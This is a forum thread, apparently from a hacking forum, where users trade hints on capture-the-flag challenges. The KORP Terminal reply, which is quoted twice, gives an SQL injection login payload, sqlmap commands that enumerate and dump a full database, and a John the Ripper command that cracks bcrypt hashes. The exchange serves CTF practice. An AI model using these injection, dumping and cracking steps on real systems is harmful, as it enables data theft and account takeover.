Posts: 7
Threads: 0
Joined: Mar 2024
(Mar 10, 2024, 10:46 PM)mordekaiser Wrote: Any help with Fake Boost ? I have the generated keys, but I don't know what are useful for the rest ? (ps : the base64 code in the post request could be helpful but I couldn't do anything with it) so any help would be appreciated. thanks
Do you got some clues about it? Cause I'm still wondering. Any hints?
Posts: 7
Threads: 0
Joined: Dec 2023
Anyone has a hint for "Oblique Final" about .DLL extracted ? This forum account is currently banned. Ban Length: Permanent (N/A Remaining) Ban Reason: Scraping | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Posts: 11
Threads: 1
Joined: Sep 2023
(Mar 12, 2024, 09:49 AM)valer4ik312 Wrote: Who can help, with KORP Terminal???
I know I need to use SQLi, but I can't get the query right.
Here's what I tried: username=admin'+--+-+&password=a
Use sqlmap to inject random values. It will detect whether the 'username' and 'password' fields are injectable. Once injectable, dump the database. Voila!
Enumerate Database:
sqlmap -u “<Site_URL>" --dbs --forms --crawl=2 --ignore-code=401
Dump all:
sqlmap -u “<Site_URL>" --forms --crawl=2 --ignore-code=401 -D "korp_terminal" --dump-all
Save the password (bcrypt format) in a text file called crack.txt
John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt crack.txt
Posts: 4
Threads: 0
Joined: Mar 2024
(Mar 13, 2024, 10:31 AM)Spearfish5172 Wrote: (Mar 12, 2024, 09:49 AM)valer4ik312 Wrote: Who can help, with KORP Terminal???
I know I need to use SQLi, but I can't get the query right.
Here's what I tried: username=admin'+--+-+&password=a
Use sqlmap to inject random values. It will detect whether the 'username' and 'password' fields are injectable. Once injectable, dump the database. Voila!
Enumerate Database:
sqlmap -u “<Site_URL>" --dbs --forms --crawl=2 --ignore-code=401
Dump all:
sqlmap -u “<Site_URL>" --forms --crawl=2 --ignore-code=401 -D "korp_terminal" --dump-all
Save the password (bcrypt format) in a text file called crack.txt
John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt crack.txt
password123
Posts: 8
Threads: 0
Joined: Dec 2023
Any last minute tips for Delulu and Writing on the Wall? Only very easy challenges I am missing.
Posts: 1
Threads: 0
Joined: Mar 2024
Data Siege i found 2/3 part flag. A hint for another perhaps
Posts: 14
Threads: 0
Joined: Jul 2023
(Mar 13, 2024, 11:53 AM)RealRomAlex Wrote: Data Siege i found 2/3 part flag. A hint for another perhaps
1/3 ssh-key, 2/3 credentials.txt, 3/3 at the end
Posts: 7
Threads: 0
Joined: Mar 2024
Guys in "Phreaky" we have some files from http, what exact file is needed to work with?
Would be thankful
Posts: 11
Threads: 1
Joined: Sep 2023
I'm stuck in solving the Tutorial, under Pwn Section. Does anyone know the answer?
Q7: What's the number you can add to INT_MAX to get the number -2147482312?
Even ChatGPT can't solve it.
Posts: 7
Threads: 0
Joined: Mar 2024
(Mar 13, 2024, 01:20 PM)NeoKrit Wrote: Guys in "Phreaky" we have some files from http, what exact file is needed to work with?
Would be thankful
not http, IMF only
|